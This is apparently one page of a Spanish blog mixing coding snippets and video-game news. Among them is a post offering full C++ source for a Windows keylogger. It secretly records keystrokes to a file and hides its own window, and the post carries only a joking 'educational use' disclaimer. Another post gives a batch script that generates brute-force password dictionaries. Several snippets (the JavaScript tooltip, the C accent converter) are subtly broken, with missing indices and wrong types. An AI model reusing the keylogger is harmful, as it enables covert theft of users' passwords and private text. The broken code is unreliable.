Inicio Blog Página 61

[CSS] Triángulos con box shadows [Derecha,Izquierda,Arriba y Abajo]

0

En este código sabremos crear bocadillos de texto con sombras correctamente, muchos lo hacen e implementan mal el código ya que la sombra muestra el triángulo en blanco cuando no debería ser.

var botones = document.querySelectorAll("button");
for (var x = 0; x < botones.length; x++) {
botones.addEventListener("click", function() {
document.querySelector(".arrow").className = "arrow " + this.dataset.lado;
});
}

El javascript es para cambiar el lado del triángulo del bocadillo.

* {
margin: 0;
padding: 0;
box-sizing: border-box;
}

.tooltip {
text-decoration: underline;
color: #37b9b5;
cursor: default;
}

.tooltip-bubble {
position: absolute;
z-index: 1;
padding: 5px 10px;
color: #fff;
width: auto;
box-shadow: 7px 7px 11px 0px rgba(112, 111, 111, 0.3);
background-color: transparent;
border-radius: 10px;
margin:50px; /* añadido para que se vea mejor, bórralo después */
}

.tooltip-bubble div {
position: relative;
z-index: 1;
font-size: 12px;
}

.tooltip-bubble::before {
position: absolute;
content: '';
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #706f6f;
border-radius: 10px;
}

.tooltip-bubble .arrow {
content: '';
display: block;
position: absolute;
width: 16px;
height: 16px;
border:0;
box-shadow: 7px 7px 11px 0px rgba(112, 111, 111, 0.3);
background:#706f6f;
transform:rotate(45deg);
z-index:-1;
left: -3px;
top:calc(50% - 8px);
}

.tooltip-bubble .arrow.down {
top: calc(100% - 8px);
left: calc(50% - 8px);
}

.tooltip-bubble .arrow.up {
top: -8px;
left: calc(50% - 8px);
}

.tooltip-bubble .arrow.right {
left:auto;
right:-3px;
}
<div class="tooltip-bubble">
<div>Tutorial de uso</div>
<div class="arrow down"></div>
</div>

<button data-lado="left">Izquierda</button>
<button data-lado="right">Derecha</button>
<button data-lado="up">Arriba</button>
<button data-lado="down">Abajo</button>

[Cómic] La elegida

0

Los sacerdotes de Rathma parten en un largo viaje para probar su devoción al equilibrio. Solo unos pocos son aceptados, y apenas unos cuantos consiguen controlar su magia oscura conteniendo sus emociones y dominando la imparcialidad.

Uníos a nosotros, héroes, mientras repasamos el viaje de cierta aprendiz antes de que viera por primera vez Nueva Tristán…




la elegida diablo 3

Fuente

[c++] Keylogger

Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.

No hagáis maldades , es para uso educativo jeje.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", ""); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

 

[C] Convertir las letras acentuadas a mayúsculas

0

main.c

 

#include <string.h>
#include <stdio.h>

#include "conversion.iso-8859-15.c"

void convertir_minusculas(char* buffer) {
  unsigned char* indice;
  while (*buffer) {
    indice = strchr(mayusculas, *buffer);
    if (indice != NULL) {
      *buffer = minusculas;
    }
    buffer++;
  }
}

void convertir_mayusculas(char* buffer) {
  unsigned char* indice;
  while (*buffer) {
    indice = strchr(minusculas, *buffer);
    if (indice != NULL) {
      *buffer = mayusculas;
    }
    buffer++;
  }
}

void main(void) {
  char buffer;
  printf("%s\n%s\n", mayusculas, minusculas);
  while (!feof(stdin)) {
    fgets(buffer, 250, stdin);
    convertir_minusculas(buffer);
    puts(buffer);
    convertir_mayusculas(buffer);
    puts(buffer);
    *buffer = 0;
  }
}

 

 

conversion.iso-8859-15.c

unsigned char mayusculas[] = {
  0x41, // 0x0041 # LATIN CAPITAL LETTER A
  0xC6, // 0x00C6 # LATIN CAPITAL LETTER AE
  0xC1, // 0x00C1 # LATIN CAPITAL LETTER A WITH ACUTE
  0xC2, // 0x00C2 # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
  0xC4, // 0x00C4 # LATIN CAPITAL LETTER A WITH DIAERESIS
  0xC0, // 0x00C0 # LATIN CAPITAL LETTER A WITH GRAVE
  0xC5, // 0x00C5 # LATIN CAPITAL LETTER A WITH RING ABOVE
  0xC3, // 0x00C3 # LATIN CAPITAL LETTER A WITH TILDE
  0x42, // 0x0042 # LATIN CAPITAL LETTER B
  0x43, // 0x0043 # LATIN CAPITAL LETTER C
  0xC7, // 0x00C7 # LATIN CAPITAL LETTER C WITH CEDILLA
  0x44, // 0x0044 # LATIN CAPITAL LETTER D
  0x45, // 0x0045 # LATIN CAPITAL LETTER E
  0xD0, // 0x00D0 # LATIN CAPITAL LETTER ETH
  0xC9, // 0x00C9 # LATIN CAPITAL LETTER E WITH ACUTE
  0xCA, // 0x00CA # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
  0xCB, // 0x00CB # LATIN CAPITAL LETTER E WITH DIAERESIS
  0xC8, // 0x00C8 # LATIN CAPITAL LETTER E WITH GRAVE
  0x46, // 0x0046 # LATIN CAPITAL LETTER F
  0x47, // 0x0047 # LATIN CAPITAL LETTER G
  0x48, // 0x0048 # LATIN CAPITAL LETTER H
  0x49, // 0x0049 # LATIN CAPITAL LETTER I
  0xCD, // 0x00CD # LATIN CAPITAL LETTER I WITH ACUTE
  0xCE, // 0x00CE # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
  0xCF, // 0x00CF # LATIN CAPITAL LETTER I WITH DIAERESIS
  0xCC, // 0x00CC # LATIN CAPITAL LETTER I WITH GRAVE
  0x4A, // 0x004A # LATIN CAPITAL LETTER J
  0x4B, // 0x004B # LATIN CAPITAL LETTER K
  0x4C, // 0x004C # LATIN CAPITAL LETTER L
  0x4D, // 0x004D # LATIN CAPITAL LETTER M
  0x4E, // 0x004E # LATIN CAPITAL LETTER N
  0xD1, // 0x00D1 # LATIN CAPITAL LETTER N WITH TILDE
  0x4F, // 0x004F # LATIN CAPITAL LETTER O
  0xD3, // 0x00D3 # LATIN CAPITAL LETTER O WITH ACUTE
  0xD4, // 0x00D4 # LATIN CAPITAL LETTER O WITH CIRCUMFLEX
  0xD6, // 0x00D6 # LATIN CAPITAL LETTER O WITH DIAERESIS
  0xD2, // 0x00D2 # LATIN CAPITAL LETTER O WITH GRAVE
  0xD8, // 0x00D8 # LATIN CAPITAL LETTER O WITH STROKE
  0xD5, // 0x00D5 # LATIN CAPITAL LETTER O WITH TILDE
  0x50, // 0x0050 # LATIN CAPITAL LETTER P
  0x51, // 0x0051 # LATIN CAPITAL LETTER Q
  0x52, // 0x0052 # LATIN CAPITAL LETTER R
  0x53, // 0x0053 # LATIN CAPITAL LETTER S
  0x54, // 0x0054 # LATIN CAPITAL LETTER T
  0xDE, // 0x00DE # LATIN CAPITAL LETTER THORN
  0x55, // 0x0055 # LATIN CAPITAL LETTER U
  0xDA, // 0x00DA # LATIN CAPITAL LETTER U WITH ACUTE
  0xDB, // 0x00DB # LATIN CAPITAL LETTER U WITH CIRCUMFLEX
  0xDC, // 0x00DC # LATIN CAPITAL LETTER U WITH DIAERESIS
  0xD9, // 0x00D9 # LATIN CAPITAL LETTER U WITH GRAVE
  0x56, // 0x0056 # LATIN CAPITAL LETTER V
  0x57, // 0x0057 # LATIN CAPITAL LETTER W
  0x58, // 0x0058 # LATIN CAPITAL LETTER X
  0x59, // 0x0059 # LATIN CAPITAL LETTER Y
  0xDD, // 0x00DD # LATIN CAPITAL LETTER Y WITH ACUTE
  0xBE, // 0x0178 # LATIN CAPITAL LETTER Y WITH DIAERESIS
  0x5A, // 0x005A # LATIN CAPITAL LETTER Z
  0    // Fin de cadena
};
unsigned char minusculas[] = {
  0x61, // 0x0061 # LATIN SMALL LETTER A
  0xE6, // 0x00E6 # LATIN SMALL LETTER AE
  0xE1, // 0x00E1 # LATIN SMALL LETTER A WITH ACUTE
  0xE2, // 0x00E2 # LATIN SMALL LETTER A WITH CIRCUMFLEX
  0xE4, // 0x00E4 # LATIN SMALL LETTER A WITH DIAERESIS
  0xE0, // 0x00E0 # LATIN SMALL LETTER A WITH GRAVE
  0xE5, // 0x00E5 # LATIN SMALL LETTER A WITH RING ABOVE
  0xE3, // 0x00E3 # LATIN SMALL LETTER A WITH TILDE
  0x62, // 0x0062 # LATIN SMALL LETTER B
  0x63, // 0x0063 # LATIN SMALL LETTER C
  0xE7, // 0x00E7 # LATIN SMALL LETTER C WITH CEDILLA
  0x64, // 0x0064 # LATIN SMALL LETTER D
  0x65, // 0x0065 # LATIN SMALL LETTER E
  0xF0, // 0x00F0 # LATIN SMALL LETTER ETH
  0xE9, // 0x00E9 # LATIN SMALL LETTER E WITH ACUTE
  0xEA, // 0x00EA # LATIN SMALL LETTER E WITH CIRCUMFLEX
  0xEB, // 0x00EB # LATIN SMALL LETTER E WITH DIAERESIS
  0xE8, // 0x00E8 # LATIN SMALL LETTER E WITH GRAVE
  0x66, // 0x0066 # LATIN SMALL LETTER F
  0x67, // 0x0067 # LATIN SMALL LETTER G
  0x68, // 0x0068 # LATIN SMALL LETTER H
  0x69, // 0x0069 # LATIN SMALL LETTER I
  0xED, // 0x00ED # LATIN SMALL LETTER I WITH ACUTE
  0xEE, // 0x00EE # LATIN SMALL LETTER I WITH CIRCUMFLEX
  0xEF, // 0x00EF # LATIN SMALL LETTER I WITH DIAERESIS
  0xEC, // 0x00EC # LATIN SMALL LETTER I WITH GRAVE
  0x6A, // 0x006A # LATIN SMALL LETTER J
  0x6B, // 0x006B # LATIN SMALL LETTER K
  0x6C, // 0x006C # LATIN SMALL LETTER L
  0x6D, // 0x006D # LATIN SMALL LETTER M
  0x6E, // 0x006E # LATIN SMALL LETTER N
  0xF1, // 0x00F1 # LATIN SMALL LETTER N WITH TILDE
  0x6F, // 0x006F # LATIN SMALL LETTER O
  0xF3, // 0x00F3 # LATIN SMALL LETTER O WITH ACUTE
  0xF4, // 0x00F4 # LATIN SMALL LETTER O WITH CIRCUMFLEX
  0xF6, // 0x00F6 # LATIN SMALL LETTER O WITH DIAERESIS
  0xF2, // 0x00F2 # LATIN SMALL LETTER O WITH GRAVE
  0xF8, // 0x00F8 # LATIN SMALL LETTER O WITH STROKE
  0xF5, // 0x00F5 # LATIN SMALL LETTER O WITH TILDE
  0x70, // 0x0070 # LATIN SMALL LETTER P
  0x71, // 0x0071 # LATIN SMALL LETTER Q
  0x72, // 0x0072 # LATIN SMALL LETTER R
  0x73, // 0x0073 # LATIN SMALL LETTER S
  0x74, // 0x0074 # LATIN SMALL LETTER T
  0xFE, // 0x00FE # LATIN SMALL LETTER THORN
  0x75, // 0x0075 # LATIN SMALL LETTER U
  0xFA, // 0x00FA # LATIN SMALL LETTER U WITH ACUTE
  0xFB, // 0x00FB # LATIN SMALL LETTER U WITH CIRCUMFLEX
  0xFC, // 0x00FC # LATIN SMALL LETTER U WITH DIAERESIS
  0xF9, // 0x00F9 # LATIN SMALL LETTER U WITH GRAVE
  0x76, // 0x0076 # LATIN SMALL LETTER V
  0x77, // 0x0077 # LATIN SMALL LETTER W
  0x78, // 0x0078 # LATIN SMALL LETTER X
  0x79, // 0x0079 # LATIN SMALL LETTER Y
  0xFD, // 0x00FD # LATIN SMALL LETTER Y WITH ACUTE
  0xFF, // 0x00FF # LATIN SMALL LETTER Y WITH DIAERESIS
  0x7A, // 0x007A # LATIN SMALL LETTER Z
  0    // Fin de cadena
};

 

 

 

[Batch] Generador de diccionario

0

Con este código de lotes generamos un diccionario para fuerza bruta con la longitud deseada, ojo, cuanto más larga sea, más tiempo necesitará para terminarlo

diccionario.bat

@echo off
title Generador de diccionario - Fuerza Bruta -
color 0a
setlocal enabledelayedexpansion
:ini
if exist dic.txt del /f /q dic.txt
cls
echo.
set /p long="Longitud >:"
if not defined long goto ini
echo  Generando...
echo  Por favor Espere.
set c=0

:main
for %%a in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%b in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%c in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%d in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%e in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%f in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%g in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%h in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%j in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%k in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%l in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%m in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%n in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%o in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%p in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%q in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%r in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%s in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%t in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%u in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%v in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%w in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%x in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%y in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
for %%z in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (
call :comp %%a%%b%%c%%d%%e%%f%%g%%h%%i%%j%%k%%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z
)
set c=1
)
set c=2
)
set c=3
)
set c=4
)
set c=5
)
set c=6
)
set c=7
)
set c=8
)
set c=9
)
set c=10
)
set c=11
)
set c=12
)
set c=13
)
set c=14
)
set c=15
)
set c=16
)
set c=17
)
set c=18
)
set c=19
)
set c=20
)
set c=21
)
set c=22
)
set c=23
)
set c=24
)
set c=25
)
goto :fin

:comp
set word=%*
set dic=!word:~-%long%!
echo %dic% >>dic.txt
if %c%==%long% goto :fin
goto :eof

:fin
echo  Finalizado...OK.
pause
exit

 

¿A quien pertenece DOTA?

La posesión de la propiedad intelectual de DOTA se ha puesto en disputa en un juicio.

Este tema viene de largo. Valve y Blizzard se disputaron en su momento la IP de DOTA. Se resolvió en 2012 fuera de juicio con el resultado de que Valve posee la IP «DOTA» para lanzar juegos completos y Blizzard puede lanzar mods de sus franquicias con el nombre DOTA (como Warcraft DOTA o Starcraft DOTA).

Dos compañías de juegos para móviles (Lilith Games y uCool) han empleado personajes y trasfondo de DOTA para sus juegos y han sido demandadas tanto por Valve como por Blizzard, pero el asunto es bastante complejo y las compañías de móviles han puesto en duda la posesión de la IP por parte de Valve. Para entender esto, hay que repasar la historia de DOTA. Este mod de Warcraft III tuvo a tres personas envueltas en su proceso creativo en distintos momentos: Eul (Kyle Sommer), Guinsoo (Stephen Feak) y IceFrog (Abdul Ismail).

Eul fue el creador del mod original de DOTA en 2002, con lo que es propietario legítimo de los derechos del trasfondo, los héroes, las reglas y el nombre. Retened este dato, será importante más adelante. Otros modders cogerían partes de este juego para convertirlo en Dota All-Stars bajo el mando de Guinsoo, que asume la responsabilidad del proyecto en 2003. En 2005, IceFrog toma el relevo y se convierte en el responsable del proyecto durante su última etapa. Eul y IceFrog vendieron sus derechos de propiedad a Valve, mientras que Guinsoo se fue a Riot Games para trabajar en League of Legends.

Lilith Games y uCool afirman que Eul no puede vender sus derechos, ya que en 2004 indicó en un post que el proyecto DOTA pasaba a ser Open Source y en ese momento perdió los derechos sobre DOTA. A esto se suma otro problema: la licencia de Warcraft III impide explícitamente el uso comercial de los mods, lo cual chocaría con vendérselo a Valve.

Ahora será un jurado el que tendrá que decidir cómo se resuelve este caso; quién es el poseedor legítimo de la licencia DOTA y quién tiene derecho a crear juegos basados en ella. Seguiremos el caso con atención.

Fuente

¡PRESUMID DE DESTREZA CON LAS PROVOCACIONES MAESTRAS!

1

¡PRESUMID DE DESTREZA CON LAS PROVOCACIONES MAESTRAS!

En el transcurso de la historia de Heroes of the Storm, siempre hemos disfrutado ofreciendo a los jugadores diversas formas de alardear de sus logros personales. Se trata, de hecho, de una idea que se ha materializado en multitud de formas a lo largo de tiempo: desde características más recientes, como el MVP y las menciones, al sistema «a tope» y las estadísticas personalizadas, pasando por otras más fundamentales, como los niveles y las ligas de partidas clasificatorias, las recompensas de temporada, los retratos maestros y de héroe, y los aspectos maestros.

Sobre los aspectos maestros

Cuando añadimos los aspectos maestros a Heroes of the Storm, pretendíamos que os sirvieran para presumir de la experiencia que teníais y la inversión de tiempo que habíais hecho con vuestros héroes favoritos. Sin embargo, al reevaluar el sistema, nos dimos cuenta de que había ciertos aspectos que podíamos mejorar.

Los aspectos maestros daban lugar a situaciones en las que los jugadores se veían forzados a tener que elegir entre desbloquear un héroe o un aspecto maestro y, normalmente, se decantaban por los primeros. Además, una vez adquirido un aspecto maestro, debían decidir si usarlo o usar otro aspecto en el juego. Lo que significaba que no podían mostrar de manera visual su destreza con un héroe en el juego, si había otro aspecto que les gustara más que el aspecto maestro.

Como resultado de todas estas cuestiones, el número de jugadores que desbloqueaban y usaban los aspectos maestros en el juego era muy inferior al esperado. La mayoría de los jugadores que tenían acceso a los aspectos maestros no los desbloqueaban, y la mayoría de los que sí lo hacían no los usaban como primera opción en las partidas.

En Heroes 2.0, hemos decidido adoptar un nuevo sistema que destaque la destreza que tenéis con vuestros héroes favoritos sin obligaros a tomar esas decisiones tan difíciles.

Han llegado las provocaciones maestras

Heroes of the Storm 2.0 está a la vuelta de la esquina y nos complace poder ofreceros una nueva manera de presumir de dedicación con vuestros héroes: ¡las provocaciones maestras!

Cada vez que uséis una provocación en el juego con un héroe que haya alcanzado el nivel 15 o más (equivalente al nivel 10 en el anterior sistema de progresión), aparecerán unos efectos visuales exclusivos «de maestría» sobre él. El héroe reproducirá, además, la animación correspondiente a la provocación y la frase que hayáis seleccionado para su equipación. Pero las provocaciones maestras no terminan en el nivel 15. ¡Sus efectos visuales seguirán evolucionando a lo largo de varios niveles y se harán más impresionantes a medida que vaya ascendiendo en el sistema de progresión!

En un primer momento, cuando Heroes 2.0 llegue a la versión en vivo del juego (el 25 de abril), solo estarán disponibles las provocaciones maestras que se desbloquean en el nivel 15 de héroe. Sin embargo, en los próximos parches tenemos pensado introducir provocaciones maestras en los niveles de héroe 25, 50, 75, y 100. Aparte de poder desbloquear provocaciones maestras, los jugadores que ya tenían aspectos maestros antes de Heroes 2.0 los conservarán y adquirirán de forma permanente las dos variaciones adicionales de los aspectos tras el lanzamiento.

¡La temporada 3 del JcJ de Legion terminará el 13 de junio!

0

¡Atención, competidores de arenas y campos de batalla! Pronto terminará la temporada 3 del JcJ de Legion.

RECOMPENSAS DEL FINAL DE TEMPORADA DE LA TEMPORADA 3

Si habéis participado en la temporada 3, tened en cuenta lo siguiente para recibir las recompensas que merecéis:

    • No transfiráis vuestro(s) personaje(s) a otro reino o facción hasta que la temporada 3 haya finalizado.
    • Los títulos y las monturas de la temporada 3 se entregarán aproximadamente dos semanas después de que termine la temporada.

RECOMPENSAS BASADAS EN FACCIONES

No olvidéis que las recompensas del final de temporada se basan en las facciones. Si transferís vuestro personaje a otra facción, tendréis que conseguir 150 victorias tras la transferencia para poder recibir la recompensa.

¿Qué posición habréis alcanzado cuando termine la temporada?

Recompensas:
http://es.wowhead.com/item=141845 y http://es.wowhead.com/title=508/cruel-gladiator

Puntuación de corte estimada para arenas 3c3

– Gladiador cruel (Horda): 2735
– Gladiador cruel (Alianza): 2856
– Gladiador (Horda): 2481
– Gladiador (Alianza): 2606
– Duelista (Horda): 2105
– Duelista (Alianza): 2195
– Rival (Horda): 1838
– Rival (Alianza): 1905
– Contendiente (Horda): 1582
– Contendiente (Alianza): 1608

Puntuación de corte estimada para campos de batalla puntuados

– Héroe de la Horda: 2278
– Héroe de la Alianza: 2431
– Guardián de la Horda: 1981
– Guardián de la Alianza: 2086
– Defensor de la Horda: 1783
– Defensor de la Alianza: 1843
– Soldado de la Horda: 1622
– Soldado de la Alianza: 1640

¡El pack Despertar del Nigromante llega el 27 de junio!

0

Aprestad vuestros corazones y preparaos para luchar por el equilibrio, nephalem. Solo falta una semana: ¡el pack Despertar del Nigromante llega el 27 de junio a PC, PlayStation 4 y Xbox One!

Los sacerdotes de Rathma, individuos serenos y calculadores, saben desde hace tiempo lo que realmente está en juego en el Conflicto Eterno. Estos maestros de la sangre, el hueso y las artes oscuras, llamados muchas veces nigromantes por quienes no saben de su orden, están acostumbrados a ser objeto de malentendidos. Pero quienes se adentran en su senda, consagrados a la defensa del equilibrio a toda costa, no ven mal ni bien en sus actos, solo obediencia al ciclo del ser.

Despertar del Nigromante es un pack de contenido que se puede comprar para Diablo III: Reaper of Souls y Diablo III: Ultimate Evil Edition. Sale a la venta el 27 de junio del 2017 para PC, PlayStation 4 y Xbox One por un precio de 14,99 €.

Cinemáticas introductorias del nigromante

Preguntas frecuentes

P. ¿Qué es el pack Despertar del Nigromante?
R. Despertar del Nigromante es un pack de contenido que se puede comprar para Diablo III: Reaper of Souls y Diablo III: Ultimate Evil Edition.

P. ¿Qué incluye el pack Despertar del Nigromante?
R. Además de acceso completo a la clase del nigromante, tanto en la campaña como en el modo Aventura, el Despertar del Nigromante incluye una serie de artículos digitales en exclusiva:

  • Una mascota sin valor de combate
  • Un par de alas cosméticas
  • Una forma de estandarte, un sigilo y detalles nuevos, basados en el nigromante
  • Un marco de retrato del nigromante
  • Un blasón
  • Dos casillas de personaje más
  • Dos pestañas del alijo más*

*Salvo en consola

P. ¿Y qué pasa con el resto de las cosas que trae el parche 2.6.0?
R. Las fallas de desafío, la zona de los Eriales Velados, el Templo de los Primogénitos y los Reinos del destino son contenidos gratuitos. Si tenéis la expansión Reaper of Souls, podréis usarlas sin tener que hacer ningún desembolso.

P. ¿Cuándo se podrá comprar el pack?
R. El pack se pone a la venta el 27 de junio del 2017, una vez que concluyan las tareas de mantenimiento en vuestra región.

Nota: en el caso de PlayStation 4 en Japón, aunque el parche estará disponible la mañana del 27 de junio, el pack Despertar del Nigromante y la Eternal Collection no se pondrán a la venta hasta por la tarde. Durante las 12 primeras horas del ciclo del parche, puede que os encontréis con un mensaje de error que diga «Producto no disponible».

P. ¿Qué costará el pack?
R. El pack Despertar del Nigromante costará 14,99 $ en Norteamérica. Para el resto de las regiones, podéis encontrar el precio en la página de Diablo de vuestra zona.

P. ¿Cómo puedo comprar el pack Despertar del Nigromante?
R. En el caso de PC, podéis comprarlo tanto directamente, a través de una nueva interfaz, como en la Tienda Blizzard. En el caso de PlayStation 4 y Xbox One, podéis adquirirlo en PlayStation™ Store o la Tienda de Xbox One, respectivamente.

P. ¿Habrá una edición física de Despertar del Nigromante?
R. Como se trata de un paquete de contenido digital y no de una expansión, el pack Despertar del Nigromante no estará disponible como producto físico.

P. ¿Qué es Diablo III: Eternal Collection?
R. Los jugadores de PlayStation 4 y Xbox One tendrán la ocasión de comprar un paquete completo del juego, la Eternal Collection. Contiene tanto Diablo III: Ultimate Evil Edition como el pack Despertar del Nigromante y estará disponible a un precio especial de lanzamiento de 39,99 € (y a 69,99 € posteriormente).

P. ¿Se podrá jugar a Despertar del Nigromante desde medianoche?
R. No. Para usar el pack Despertar del Nigromante, hay que tener instalado el parche 2.6.0; una vez que concluyan las tareas de mantenimiento en vuestra región, podréis comprar y utilizar el pack Despertar del Nigromante.

P. ¿Cuándo comenzarán las tareas de mantenimiento?
R.
PC:
NA/SA/ANZ: 10:00 PDT
EU: 23:00 CEST
KR/TW: (29 de junio) 2:00 KST
CN: (29 de junio) 5:00 CST

Consolas
Todas las regiones salvo JPN: 20:00 PDT
JPN: (28 de junio) 12:00 JST

P. ¿Cuánto durarán las tareas de mantenimiento?
R. Normalmente, suelen durar entre una y dos horas; no obstante, esto puede variar casi sin previo aviso. Seguid a @BlizzardCSEU_ES si queréis recibir puntualmente todos los mensajes sobre mantenimiento.

P. ¿Dónde puedo encontrar más información sobre la clase del nigromante?
R. Hemos publicado una serie de blogs con información. ¡Podéis encontrarlos a continuación! Además, a medida que se acerque la fecha de lanzamiento, publicaremos más noticias y contenidos en nuestra portada.

Página de la tienda

Fuente

¡Destiny 2 llega a Battle.net!

0

Os queremos comunicar que un nuevo juego aparecerá junto a vuestros juegos de Blizzard favoritos: uno que difiere un poquito de los que estáis acostumbrados a ver. ¡El nuevo juego de acción en primera persona de Bungie, Destiny 2, se une al grupo! Nos complace anunciar que nos hemos asociado con Bungie y Activision para ofrecer la versión para PC de Destiny 2 en exclusiva a través de Battle.net.

En Blizzard somos grandes fans de Destiny, por lo que es un honor poder ayudar a que los talentosos compañeros de Bungie y Activision hagan llegar su tan esperada secuela a una nueva plataforma. Al estar en Battle.net, Destiny 2 podrá conectarse a nuestra red global actual, lo que permitirá a los desarrolladores de Bungie centrar sus esfuerzos y recursos en crear el mejor juego posible y hacerlo lo más divertido que se pueda. Con ello, los jugadores de Destiny 2 también tendrán acceso a nuestras funciones sociales en línea, entre las que se incluye poder hablar con amigos a través del chat, ver cuáles de ellos están conectados a Destiny 2 o a los juegos de Blizzard y poder retransmitir partidas en directo en Facebook.

Consultad más abajo las preguntas y respuestas para más detalles acerca de la plataforma y estad al tanto de las novedades conforme nos preparamos para dar la bienvenida a Destiny 2 y a sus jugadores en Battle.net. Para saber más sobre Destiny 2, entrad en www.destinythegame.com.

¿Por qué vais a añadir un juego que no pertenece a Blizzard a la plataforma de Blizzard?

Nos encantó Destiny y creemos que Destiny 2 va a ser un juego fantástico. Blizzard cuenta con una infraestructura global estable en internet que hemos utilizado durante años para dar apoyo a nuestros propios juegos. La creación de un cliente de red nuevo para Destiny 2, franquicia que llega a PC por primera vez, exigiría prolongar el período de desarrollo del juego. Queremos echarle mano a Destiny 2 lo antes posible (como todo el mundo), así que para este lanzamiento nos ofrecimos a compartir nuestra plataforma de PC con esta compañía hermana.

¿Significa esto que también se irán incluyendo otros juegos en la plataforma de Blizzard?

En lo referente a brindar apoyo a juegos que no sean de Blizzard, lo que nos ocupa es Destiny 2 únicamente. Aparte de estudiar las potenciales necesidades u oportunidades que tendrían futuros juegos de Activision, no tenemos planeado ni a corto ni a largo plazo dar apoyo con Battle.net a juegos de terceros. Para nosotros es importante cumplir con nuestros estándares de calidad para cualquier experiencia o servicio que pongamos al alcance de nuestros jugadores, lo que supone una gran inversión de tiempo y trabajo por nuestra parte, así que no es algo en lo que vayamos a entrar con facilidad.

¿Eso significa que voy a poder comprar Destiny 2 con mi saldo de Blizzard?

¡Así es!

¿Destiny 2 ofrecerá las mismas características sociales que conectan los distintos títulos de Blizzard?

